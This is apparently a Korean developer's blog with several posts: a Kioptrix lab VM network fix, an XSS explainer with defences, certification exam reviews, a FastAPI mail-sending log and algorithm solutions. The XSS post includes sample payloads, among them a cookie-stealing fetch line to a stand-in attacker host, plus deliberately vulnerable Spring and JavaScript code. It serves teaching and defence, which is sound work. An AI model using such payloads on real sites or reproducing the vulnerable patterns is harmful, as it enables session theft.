Whying's

[오류] Kioptirx eth0 Failed

와잉 — Sun, 26 Jul 2026 21:40:48 +0900

Kioptirx를 NAT로 설정해주고 들어갈 때 eth0 에 대해서 Failed 오류가 계속 발생했다.

=> 해결 방법

참고)

https://www.reddit.com/r/netsecstudents/comments/a54l39/kioptrix_vm_set_up_issues/

Reddit의 netsecstudents 커뮤니티: Kioptrix VM Set Up Issues

netsecstudents 커뮤니티에서 이 게시물을 비롯한 다양한 콘텐츠를 살펴보세요

www.reddit.com

Kioptix Level 1.vmx 메모장으로 편집

ethernet0.networkName = "Nat" (얘는 영향이 있는지 모르겠다..!)

ethernet0.connectionType = "nat"

bridged에서 nat로 수정해줬다.

그리고 다시 올리면 칼리에서 arp-scan -l 을 해줬을 때 해당 IP가 잡히는 것을 확인할 수 있다.

nmap도 돌려보면 잘 나온다.

+ 다시 메모장으로 열면

ethernet0.connectionType = " bridged" 로 변경되어 있는 것을 볼 수 있지만, 아직 문제는 없는 것 같다..!

[보안] XSS 공격(Stored, Reflected, DOM based)

와잉 — Wed, 27 May 2026 13:01:09 +0900

~~면접에서 XSS 관련 질문을 받고 대답을 잘 못해서 정리하는 글입니다.~~

XSS란?

XSS(Cross Site Scripting)는 웹 애플리케이션에서 사용자 입력값을 적절히 검증하거나 이스케이프 처리하지 않았을 때 발생하는 대표적인 웹 취약점이다.

공격자는 악성 스크립트를 삽입하여 다른 사용자의 브라우저에서 실행되도록 만들 수 있으며, 이를 통해 다음과 같은 공격이 가능하다.

쿠키 및 세션 탈취
사용자 계정 탈취
악성 사이트 리다이렉트
키로깅(Key Logging)
관리자 권한 악용
악성 스크립트 전파

XSS는 스크립트가 어디에 저장되고 어떻게 실행되는지에 따라 다음과 같이 구분된다.

Stored XSS
Reflected XSS
DOM Based XSS

1. Stored XSS

Stored XSS란?

Stored XSS는 공격자가 입력한 악성 스크립트가 서버(DB 등)에 저장되고, 이후 다른 사용자가 해당 페이지를 조회할 때 스크립트가 실행되는 공격 방식이다.

게시판, 댓글, 채팅, 프로필 소개글 등 사용자 입력을 저장하는 기능에서 자주 발생한다.

특징은 다음과 같다.

악성 스크립트가 서버에 저장됨
다른 사용자가 페이지를 조회할 때 자동 실행됨
다수 사용자 대상 공격 가능
영향도가 큰 경우가 많음

Stored XSS 공격 흐름

공격자가 게시글/댓글 등에 악성 스크립트 입력
서버가 입력값 검증 없이 DB에 저장
사용자가 게시글 조회
브라우저가 저장된 스크립트를 실행
세션 탈취 또는 악성 행위 수행

Stored XSS 페이로드 예시

<script>alert('XSS')</script>

쿠키 탈취 예시:

fetch('<a href=https://attacker.com/steal?cookie='>https://attacker.com/steal?cookie='</a> + document.cookie)

이미지 태그 이벤트 핸들러 사용 예시:

<img src=x onerror=alert('XSS')>

Stored XSS 취약 코드 예시

취약한 서버 코드 (Spring)

@PostMapping("/write")
public String write(@RequestParam String content) {
    boardRepository.save(new Board(content));
    return "redirect:/list";
}

취약한 화면 출력 코드

<div th:utext="${board.content}"></div>

th:utext는 HTML 이스케이프를 수행하지 않기 때문에 사용자 입력이 그대로 렌더링된다.

예를 들어 공격자가 다음 내용을 저장하면:

<script>alert('Stored XSS')</script>

다른 사용자가 게시글 조회 시 스크립트가 실행된다.

2. Reflected XSS

Reflected XSS란?

Reflected XSS는 사용자 입력값이 서버 응답에 즉시 반영될 때 발생하는 취약점이다.

Stored XSS와 달리 서버(DB)에 저장되지 않으며, 일반적으로 URL 파라미터를 통해 공격이 수행된다.

검색 기능, 에러 메시지 페이지 등에서 자주 발생한다.

특징은 다음과 같다.

입력값이 서버 응답에 즉시 반영됨
DB 등에 저장되지 않음
사용자가 악성 링크를 클릭해야 함
피싱 공격과 함께 자주 사용됨

Reflected XSS 공격 흐름

공격자가 악성 스크립트가 포함된 URL 생성
피해자에게 링크 전달
피해자가 링크 클릭
서버가 입력값을 그대로 응답 페이지에 포함
브라우저에서 스크립트 실행

Reflected XSS 페이로드 예시

<script>alert('Reflected XSS')</script>

URL 인코딩 예시:

http://victim.com/search?q=%3Cscript%3Ealert('XSS')%3C/script%3E

이벤트 핸들러 기반 우회 예시:

<img src=x onerror=alert(document.cookie)>

Reflected XSS 취약 코드 예시

취약한 서버 코드 (Spring)

@GetMapping("/search")
@ResponseBody
public String search(@RequestParam String keyword) {
    return "검색어: " + keyword;
}

공격 URL:

/search?keyword=<script>alert('XSS')</script>

서버 응답:

검색어: <script>alert('XSS')</script>

브라우저가 해당 스크립트를 실행하게 된다.

3. DOM Based XSS

DOM Based XSS란?

DOM Based XSS는 서버 응답 자체는 안전하지만, 클라이언트 측 JavaScript가 DOM을 조작하는 과정에서 발생하는 XSS이다.

즉, 취약점이 서버가 아닌 브라우저의 JavaScript 로직에 존재한다.

주로 다음과 같은 값이 위험하게 사용될 때 발생한다.

location.href
location.search
document.URL
document.referrer
window.name

특징은 다음과 같다.

서버 응답에는 악성 스크립트가 없음
브라우저의 JavaScript가 DOM을 조작하며 발생
프론트엔드 코드에서 자주 발생
SPA(Single Page Application) 환경에서도 빈번함

DOM Based XSS 공격 흐름

공격자가 악성 스크립트가 포함된 URL 생성
피해자가 URL 접속
브라우저 JavaScript가 URL 값을 읽음
innerHTML 등으로 DOM에 삽입
스크립트 실행

DOM Based XSS 페이로드 예시

http://victim.com/#<img src=x onerror=alert('DOM XSS')>

또는:

http://victim.com/?q=alert(document.cookie)

DOM Based XSS 취약 코드 예시

<div id="result"></div>

<script>
const keyword = location.hash.substring(1);
document.getElementById("result").innerHTML = keyword;
</script>

공격 URL:

http://victim.com/#<img src=x onerror=alert('XSS')>

브라우저 동작 결과:

<div id="result">
  <img src=x onerror=alert('XSS')>
</div>

결과적으로 브라우저에서 스크립트가 실행된다.

Reflected XSS와 DOM Based XSS 차이

구분	Reflected XSS	DOM Based XSS
취약 위치	서버	클라이언트(JavaScript)
응답 페이지	서버 응답에 악성 스크립트 포함	서버 응답은 정상
실행 원인	서버가 입력값을 그대로 반환	JS가 DOM 조작 중 실행
주요 원인	출력값 검증 부족	innerHTML 등 위험한 DOM API 사용

예를 들어 Reflected XSS는:

return "검색어: " + keyword;

처럼 서버 응답이 직접 문제다.

반면 DOM Based XSS는:

element.innerHTML = location.hash;

처럼 브라우저 JavaScript 로직이 문제다.

4. 개선 방안(대응 방법)

XSS는 단순히 입력값만 막는다고 해결되지 않는다.
입력 검증(Input Validation), 출력 인코딩(Output Encoding), 브라우저 보안 정책 등을 함께 적용해야 한다.

1) 출력 시 HTML 이스케이프 적용

가장 중요한 대응 방법이다.

안전한 예시 (Thymeleaf)

<div th:text="${content}"></div>

th:text는 HTML 특수문자를 자동 이스케이프 처리한다.

예:

<script>alert('XSS')</script>

출력 결과:

&lt;script&gt;alert('XSS')&lt;/script&gt;

브라우저가 스크립트가 아닌 문자열로 인식한다.

2) innerHTML 사용 지양

위험한 코드

element.innerHTML = userInput;

안전한 코드

element.textContent = userInput;

또는:

element.innerText = userInput;

textContent는 HTML을 해석하지 않고 문자열로 처리한다.

3) 입력값 검증(Input Validation)

사용자 입력값에 대해 허용 가능한 문자만 받도록 제한한다.

예:

HTML 태그 제거
스크립트 키워드 차단
특수문자 제한
화이트리스트 기반 검증

단, 입력값 검증만으로 XSS를 완전히 막을 수는 없으며 반드시 출력 인코딩과 함께 사용해야 한다.

4) Content Security Policy(CSP) 적용

CSP는 브라우저에서 실행 가능한 스크립트 출처를 제한하는 보안 정책이다.

예시:

Content-Security-Policy: default-src 'self'; script-src 'self'

효과:

외부 악성 스크립트 차단
inline script 제한 가능
XSS 피해 감소

5) HttpOnly 쿠키 설정

Set-Cookie: JSESSIONID=abc123; HttpOnly; Secure

HttpOnly를 설정하면 JavaScript에서 쿠키 접근이 불가능해져 쿠키 탈취 위험을 줄일 수 있다.

단, XSS 자체를 막는 것은 아니며 피해를 줄이는 보조 수단이다.

6) 최신 프레임워크 보안 기능 활용

React, Vue, Thymeleaf 등은 기본적으로 출력 이스케이프 기능을 제공한다.

하지만 다음과 같은 기능은 여전히 위험하다.

React: dangerouslySetInnerHTML
Thymeleaf: th:utext
Vue: v-html

사용 시 반드시 검증된 데이터만 렌더링해야 한다.

마무리

XSS는 가장 오래되었지만 여전히 매우 자주 발생하는 웹 취약점 중 하나이다.

특히 최근에는 SPA 구조와 다양한 JavaScript 프레임워크 사용 증가로 인해 DOM Based XSS 비중도 커지고 있다.

단순 입력 필터링만으로는 충분하지 않으며:

출력 인코딩
안전한 DOM API 사용
CSP 적용
프레임워크 보안 기능 활용

등을 함께 적용해 다층적으로 대응해야 한다.

2026 1회차 정보보안기사 최종합격 후기(실기 공부법)

와잉 — Fri, 8 May 2026 12:17:13 +0900

오늘 10시에 합격발표가 나서 끓여온 따끈따끈한 후기

땄당 !!!

이번에 운이 좋게 동회차 합격을 할 수 있었다.

시험 복기하고 당연히 떨어졌을 줄 알고 다음 시험 접수 준비하고 있었는데 정말 다행이다.

그래도 턱걸이 점수라 내용 잊어버리지 않게 틈틈이 문제집을 들여다 봐야 할 것 같다.

공부법

공부 기간과 방법에 대해 적어보자면 나는 우선 필기 합격날(3월 13일)부터 공부를 시작했고, 처음에는 가볍게 공부하다가 2주 전부터는 나름 빡세게 공부했다.

문제집: 2026 이기적 정보보안기사 올인원 (근데 오타와 오류사항이 좀 있긴 했다..!)

문제집 외 활용한 것들:

1) 정보보안기사 오픈채팅방 (정말 애정합니다...<3) ⭐⭐⭐⭐

정보보안에 대한 동향과 자료를 많이 받을 수 있었다. 관리자분들이 톡방 관리를 정말 잘해주셔서 더 더 추천이다!!!

실기 시험이 다가올수록 단답형 문제에 대비할 수 있는 문제들을 많이 내주시는데. 여기 나와있던 기출은 노션에 다 정리해서 문제를 보자마자 답변할 수 있을 정도로 외웠다. 그리고 헷갈리는 부분에 대해서는 GPT와 함께 개념과 흐름을 정리했다.

ex) 엔드포인트 관련 보안 기술 => EDR, NAC, DLP

보안 솔루션 차이점: EDR/SIEM/SOAR

2) 수제비 카페, 유튜브 ⭐⭐

정처기 때도 도움이 돼서 이번에도 활용했다.

카페에서는 Daily 문제 - 정보기실기 문제를 풀면서 모르는 부분은 따로 정리했다.

유튜브에서는 아래 영상들을 보면서 공격 흐름과 기출 풀이에 대한 개념을 정리했다.

https://youtube.com/playlist?list=PLraQPczZnB1po9n8VcXZk-PGnosaCM7Sn&si=Y9xuj5vSGhQG4RKP

정보보안기사

정보보안기사 관련 기출풀이, 특강 등 영상 자료입니다.

www.youtube.com

3) 온계절님 블로그 ⭐⭐

https://blog.naver.com/stereok2

온계절의 IT전문가를 꿈꾸는 이를 위한 성공 나침반 : 네이버 블로그

IT스페셜 리스트(기술사, 금융보안전문가, 정보보안기사, ISMS-P인증심사원) / 자기계발, 동기부여, 멘토링, 코칭 전문가 / 독서와 열정이 만드는 나비효과를 신봉하며, 인문과 기술이 균형잡힌 융

blog.naver.com

시험이 얼마 남지 않은 시점에서는 기출과 답안 작성 능력을 키우는 게 중요하다고 생각하고, 기출을 풀고 블로그를 참고하는 형식으로 진행했다.

시험 꿀팁

당연한 말이지만 몰라도 다 적자!

몰라도 다 적어내야지(이른바 소설 쓰기) 거기서 맞는 부분에 대한 추가 점수가 있는 것 같다.

[뉴스톡] 개발 일지 : 이메일 전송 기능 구현

와잉 — Thu, 7 May 2026 14:45:35 +0900

현재 Newstocks 라는 주식 레포팅 시스템을 개발하고 있다.

구현은 빠른 환경과, 다양한 라이브러리를 손쉽게 쓸 수 있는 FastAPI 환경에서 개발 중이며,

SMTP는 Naver mail을 사용해서 메일 전송 기능을 구현했다.

우선 환경 설정을 할 때 네이버 메일의 환경설정으로 이동해야 한다. (휴지통 아래에 위치)

POP/IMAP 설정으로 들어가 사용함으로 변경을 해주어야 한다.

이때 찾아본 자료와는 다르게 2단계 인증을 해주어야 한다고 되어있었는데. 여기서 2단계 인증과 애플리케이션 비밀번호 설정을 모두 해주어야 한다.

server.login(email_id, email_pw)
#아이디, 애플리케이션 pw값(네이버pwX)

나는 2단계 인증만 하고 코드에 내 네이버 비밀번호를 입력해줬더니 다음과 같은 인증 오류가 발생했었다.

SMTPAuthenticationError(code, resp) smtplib.SMTPAuthenticationError:
Username and Password not accepted

수정해주면 정상적으로 메일이 발송된 것을 확인할 수 있다.

전체 코드

import smtplib

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

from jinja2 import Environment, FileSystemLoader


# Jinja2 템플릿 설정
env = Environment(
    loader=FileSystemLoader('app/templates')
)


def render_html(news_list, insight):
    template = env.get_template("report.html")

    return template.render(
        news_list=news_list,
        insight=insight
    )


def send_mail():

    # 테스트 데이터
    news_list = [
        {
            "title": "삼성전자 실적 상승",
            "content": "영업이익 증가 예상"
        },
        {
            "title": "미국 금리 인상 가능성",
            "content": "연준 발언 영향"
        }
    ]

    insight = """
  시장 요약
- 반도체 시장 회복 기대
- 금리 인상 우려 지속

  투자 인사이트
기술주 변동성 확대 가능성 존재
"""

    # HTML 렌더링
    content = render_html(news_list, insight)

    message = MIMEMultipart()
    message['Subject'] = 'Newstocks Test'
    message['From'] = 'Newstocks <본인 이메일>'
    message['To'] = '전송 이메일'

    mimeText = MIMEText(content, 'html')
    message.attach(mimeText)

    email_id = 'id값'
    email_pw = '어플리케이션 pw'

    server = smtplib.SMTP('smtp.naver.com', 587)
    server.ehlo()

    server.starttls()

    server.login(email_id, email_pw)

    server.sendmail(
        message['From'],
        message['To'],
        message.as_string()
    )

    server.quit()

    print("메일 전송 완료")


send_mail()

[프로그래머스 Python] 베스트앨범

와잉 — Thu, 19 Mar 2026 16:16:59 +0900

Level 3

https://school.programmers.co.kr/learn/courses/30/lessons/42579

프로그래머스

SW개발자를 위한 평가, 교육의 Total Solution을 제공하는 개발자 성장을 위한 베이스캠프

programmers.co.kr

풀이 과정

1. 많이 재생된 장르를 구하기 위해 gen 생성

2. 장르에 따라 분류하기 위해 per_gen 생성

3. 많이 재생된 장르 먼저 수록하기 위해 gen 내림차순 정렬

4. 문제의 2번, 3번 조건을 만족하도록 (-x[1], x[0])로 정렬

5. 장르별 최대 2개씩 고유번호를 넣어줌

최적화 전 코드(내 풀이)

from collections import defaultdict
def solution(genres, plays):
    answer = []
    gen = defaultdict(int)  # 1)
    per_gen = defaultdict(list) # 2)
    
    for i in range(len(plays)):
        gen[genres[i]] += plays[i]
        per_gen[genres[i]].append((i, plays[i]))
        
    gen = sorted(gen.items(), key=lambda x: -x[1])  # 3)
    
    for genre in per_gen:
        per_gen[genre].sort(key=lambda x: (-x[1], x[0]))  # 4)
        
    for g in gen:
        twice = 0
        n = len(per_gen[g[0]])
        while twice<2 and twice<n:   # 5)
            answer.append(per_gen[g[0]][twice][0])
            twice += 1  
    return answer

최적화 후 코드(GPT)

from collections import defaultdict

def solution(genres, plays):
    answer = []
    gen = defaultdict(int)
    per_gen = defaultdict(list)

    for i, (genre, play) in enumerate(zip(genres, plays)):
        gen[genre] += play
        per_gen[genre].append((i, play))

    gen = sorted(gen.items(), key=lambda x: -x[1])

    for genre in per_gen:
        per_gen[genre].sort(key=lambda x: (-x[1], x[0]))

    for genre, _ in gen:  #구조분해
        for idx, _ in per_gen[genre][:2]: #슬라이싱 활용
            answer.append(idx)

    return answer

파이썬의 zip, enumerate 기능을 잘 활용해보자!

## zip

같은 인덱스끼리 묶으면서, 더 짧은 쪽 기준으로 잘림

genres = ["classic", "pop"]
plays = [500, 600]

zip(genres, plays)

#("classic", 500)
#("pop", 600)

## enumerate

인덱스 + 값, in range(len()) 대체용

arr = ["a", "b", "c"]

for i, v in enumerate(arr):
    print(i, v)
    
# 0 a
# 1 b
# 2 c

2026 1회차 정보보안기사 필기 합격 후기

와잉 — Fri, 13 Mar 2026 10:06:03 +0900

예전부터 취득하고 싶었던 정보보안기사 필기 시험에 합격을 했다.

물론 실기도 통과를 해야되고 실기 난이도가 어려운만큼 가채점 이후에 계속 공부를 하고 있는데 부족한 점이 너무 많이 느껴진다.

후기를 작성해본다면

우선 접수는 Q-Net이 아닌 KCA이다. 정보처리기사처럼 큐넷인 줄 알고 갔다가 접수를 못 할 뻔 했다.

https://www.cq.or.kr/main.do

KCA 국가기술자격검정

www.cq.or.kr

시험은 CBT 마포구(북서울본부)에서 봤는데 대기실과 개인 사물함이 있어서 좋았다.

그리고 시험장에 노트패드(?)가 있어서 필기를 할 때 도움이 됐다.

점수는 운좋게 딱 턱걸이로 60점이 나왔다.

가채점 점수라서 혹시나 떨어지는게 아닌가 걱정했는데 다행히도 똑같은 결과가 나왔다.

공부 방법

일단 [이기적 올인원 1회독 + 수제비 유튜브 + 필기 기출]을 좀 풀고 갔지만, 풀어봤던 기출 중에서 겹치는 문제가 거의 없었다. 처음 보는 용어들도 많아서 보안의 영역이 참 넓다는 생각이 들었다.

실기는 진짜 필기의 4배는 더 공부해야 될 것 같다. ㅎ

응시자격서류 제출

KCA 홈페이지에 자격검증 > 합격자 발표 > 응시자격서류관리 로 들어가면 된다.

아 참고로 응시 자격 서류는 2년 전에 발급받은 졸업 증명서를 제출했는데 서류가 오래되서 최근걸로 다시 제출해달라는 연락이 와서 다시 발급 받아 제출했다.

[Error] java.net.SocketException: Bad address: listen

와잉 — Tue, 10 Mar 2026 22:18:42 +0900

Caused by: java.net.SocketException: Bad address: listen

!!!!!!

Spring 관련 프로젝트를 진행하려는데 몇 달 전부터 간헐적으로 해당 오류가 발생해 의욕을 잃고 넘어간 적이 많았다. . ...

근데 드디어 문제를 해결했다...!!! Gradle 데몬 죽이기, 캐시 초기화, hosts 파일 수정, 데몬 비활성화 다 아니었고

다 있음ㅎ

VMware 때문이었다.

사실 이전에 VMware가 있을 때 문제가 없었어서 원인이 아닐 줄 알았는데 ....지피티 말로는 VMware 설치만 하고 안쓰거나 최근에 네트워크 상태나 JVM 환경이 조금만 바뀌어도 갑자기 오류가 나타날 수 있다고 한다.

그래서

GPT가 알려준 해결 방법 중 나는 2번 방법 가상 네트워크 비활성화를 시켜줬다.

해결 방법 (추천 순서)

1️⃣ JVM을 IPv4만 사용하게 만들기

프로젝트 루트에

gradle.properties

내용 추가

org.gradle.jvmargs=-Djava.net.preferIPv4Stack=true

이게 가장 효과적인 해결 방법입니다.

2️⃣ 사용 안 하는 가상 네트워크 잠시 비활성화

Windows 기준

제어판
→ 네트워크 상태 및 작업 보기
 → 어댑터 설정 변경 (나는 VMware Network Adapter VMnet1, VMnet8이 활성화되어 있었다.)
→ 사용 안함 (VMware Network Adapter 비활성화)

예)

- VirtualBox Host Only
- VMware VMnet1

다시 빌드를 해주면

BUILD SUCCESSFUL

cs 공부 열심히 하자

정리

로그 원인

- 로컬 네트워크 설정이나 환경 변수에 문제가 생겨서 포트를 바인딩(bind)하지 못한 상태

Gradle daemon이 TCP 서버를 만들 때
listen 단계에서 네트워크 주소 오류 발생

-- TCP 서버 동작 순서
1. socket()   → 소켓 생성
2. bind()     → IP + 포트 지정
3. listen()   → 연결 대기 상태
4. accept()   → 클라이언트 연결 수락

내 원인

- VMware Network Adapter (VMnet1, VMnet8)의 상태 문제

JVM이 잘못된 네트워크 인터페이스 선택

해결방법

- 문제를 발생시키는 네트워크 어댑터 비활성화

JVM이 선택할 네트워크 인터페이스 목록에서 제거

[백준 Python] 1446번 지름길

와잉 — Fri, 17 Oct 2025 11:01:54 +0900

백준 파이썬 1446번 지름길

Silver 1

https://www.acmicpc.net/problem/1446

dp, 다익스트라 두가지 유형으로 풀 수 있는 문제이다.

1️⃣ DP

import sys
input = sys.stdin.readline
n, d = map(int, input().split())
graph = []
dp = [i for i in range(d+1)]
for _ in range(n):
    start, end, dist = map(int, input().split())
    #제외 조건
    if end > d: continue #고속도로 역주행 불가
    if end-start < dist: continue #지름길의 길이가 긴 경우
    graph.append((start, end, dist))
#start 기준으로 정렬을 시켜 dp[start]가 최소 거리로 갱신될 수 있게 해준다.
graph.sort()
for i in range(d+1):
    if i > 0:
        dp[i] = min(dp[i], dp[i-1]+1) #고속도로
    for start, end, dist in graph:
        if start == i:
            dp[end] = min(dp[end], dp[start]+dist) #지름길 이용
print(dp[d])

2️⃣ 다익스트라

import sys, heapq
input = sys.stdin.readline
n, d = map(int, input().split())
graph = {i:[] for i in range(d+1)}
for i in range(d):
    graph[i].append((i+1, 1)) #end, cost 고속도로 이용
for _ in range(n):
    start, end, dist = map(int, input().split())
    #제외 조건
    if end > d: continue
    if end-start < dist: continue
    graph[start].append((end, dist))
distance = [float('inf')] * (d + 1)
distance[0] = 0
heap = [(0, 0)]
while heap:
    dist, now = heapq.heappop(heap)
    if distance[now] < dist: continue
    for nxt, cost in graph[now]:
        new_dist = cost + dist
        if new_dist < distance[nxt]: #새로운 경로의 dist가 더 작은 경우
            distance[nxt] = new_dist
            heapq.heappush(heap,(new_dist, nxt))
print(distance[d])

[알고리즘] 위상정렬

와잉 — Thu, 16 Oct 2025 18:53:29 +0900

코딩 테스트가 끝나고 사람들 후기를 보는데 위상 정렬로 풀면 금방 풀리는 문제였다고 하는데 위상정렬이란 뭘까?

위상정렬(Topological Sorting) 개념

정의:

위상정렬은 방향 그래프(DAG, Directed Acyclic Graph)에서 사용되는 정렬 방법으로,

모든 간선 (u → v)에 대해 u가 v보다 먼저 나오도록 정렬하는 것을 말한다.

즉, 선행 관계가 있는 작업들을 순서대로 나열할 때 사용한다. (A작업을 한 뒤 B를 수행할 수 있다와 같은 유형)

조건:

반드시 사이클 없는 방향 그래프(DAG)이어야 한다.
사이클이 있으면 위상정렬이 불가능하다.

예시:

A → B → C
A → D

가능한 위상정렬: A, B, D, C 또는 A, D, B, C

- 관련 문제

https://www.acmicpc.net/problem/2252

https://www.acmicpc.net/problem/2623

구현 방법

(1) DFS 기반

방문하지 않은 노드에서 DFS 수행
DFS 탐색이 끝난 노드를 스택에 넣음
스택을 뒤집으면 위상정렬 순서

장점: 구현 간단

단점: 사이클 검사 추가 필요

(2) Kahn 알고리즘(BFS 기반)

모든 노드의 진입 차수(in-degree) 계산
진입 차수가 0인 노드를 큐에 넣음
큐에서 노드를 하나씩 빼면서 결과에 추가, 연결된 노드의 진입 차수 1 감소
진입 차수가 0이 된 노드를 큐에 넣음
모든 노드 처리 후 결과 출력

장점: 사이클이 있는지 쉽게 체크 가능

✅ 파이썬 구현 예제

(A) DFS 기반

def topological_sort_dfs(graph):
    visited = set()
    stack = []

    def dfs(node):
        visited.add(node)
        for neighbor in graph[node]:
            if neighbor not in visited:
                dfs(neighbor)
        stack.append(node)

    for node in graph:
        if node not in visited:
            dfs(node)

    return stack[::-1]  # 뒤집어서 반환

# 예제 그래프
graph = {
    'A': ['B', 'D'],
    'B': ['C'],
    'C': [],
    'D': ['C']
}

print(topological_sort_dfs(graph))

(B) Kahn 알고리즘(BFS 기반) ⭐

#장점: 사이클 검출 가능
from collections import deque

def topological_sort_kahn(graph):
    in_degree = {u: 0 for u in graph}  # 진입차수 초기화
    for u in graph:
        for v in graph[u]:
            in_degree[v] += 1

    queue = deque([u for u in graph if in_degree[u] == 0])
    result = []

    while queue:
        node = queue.popleft()
        result.append(node)
        for neighbor in graph[node]:
            in_degree[neighbor] -= 1
            if in_degree[neighbor] == 0:
                queue.append(neighbor)

    if len(result) != len(graph):
        return "Cycle detected!"
    return result

# 예제 그래프
graph = {
    'A': ['B', 'D'],
    'B': ['C'],
    'C': [],
    'D': ['C']
}

print(topological_sort_kahn(graph))
#['A', 'B', 'D', 'C']

✅ DFS와 BFS 모두 결과는 가능한 위상정렬 중 하나를 반환한다.

문제 풀어보기!

백준 2623번: 음악프로그램 Gold3

import sys
from collections import deque
input = sys.stdin.readline
n, m = map(int, input().split()) #가수, 보조 PD
singers = {i:[] for i in range(1, n+1)}
in_degree = {i:0 for i in range(1, n+1)}
for _ in range(m):
    seq = list(map(int, input().split()))
    for i in range(1, seq[0]):
        singers[seq[i]].append(seq[i+1])
        in_degree[seq[i+1]] += 1
q = deque([u for u in in_degree if in_degree[u]==0])
rst = []
while q:
    now = q.popleft()
    rst.append(now)
    for nxt in singers[now]:
        in_degree[nxt] -= 1
        if in_degree[nxt] == 0:
            q.append(nxt)
if len(rst) != n: print(0) #불가능한 경우는 cycle
else:
    for r in rst:
        print(r)

2025 SQLD 자격증 후기

와잉 — Fri, 15 Aug 2025 15:04:14 +0900

첫번째 SQLD 시험!

쉽다는 말을 들었기에 솔직히 공부를 열심히 하지는 않았고, 노랭이 조금 + 요약본만 보고 시험을 쳤다.

그리고 프로그래머스에서 SQL 코테 연습했던걸 너무 믿었었다 ........

합격!! 일 줄 알았으나 불합격이었다 ㅎㅎ

기억상 square, roll up 에 대해서 많이 나왔던 것 같은데 그 부분을 충분히 공부하지 않았었고, 떨어진 가장 큰 이유는 1과목 내용을 충분히 암기하지 않았던 게 컸던 것 같다.

그래서 SQLD 2트 공부한 방법 !

우선 노랭이는 다 풀고, 그 다음에 체크를 할 겸 아래의 사이트에서 틈틈이 문제도 풀어줬다.

그리고 이번에도 꿈꾸는 라이언 핵심 요약집을 구매해서 시험장 들어갈 때까지 봐줬다.

https://ht-frontend-eight.vercel.app/home

https://ht-frontend-eight.vercel.app/login?nextUrl=%2Fhome

언제 어디서나 자격증 문제풀이 연습!

ht-frontend-eight.vercel.app

결과는 합격!!

쉽다고 만만하게 보지 말고ㅠ 1과목은 거의 다 맞출 정도로 공부하고 가는게 좋을 것 같다.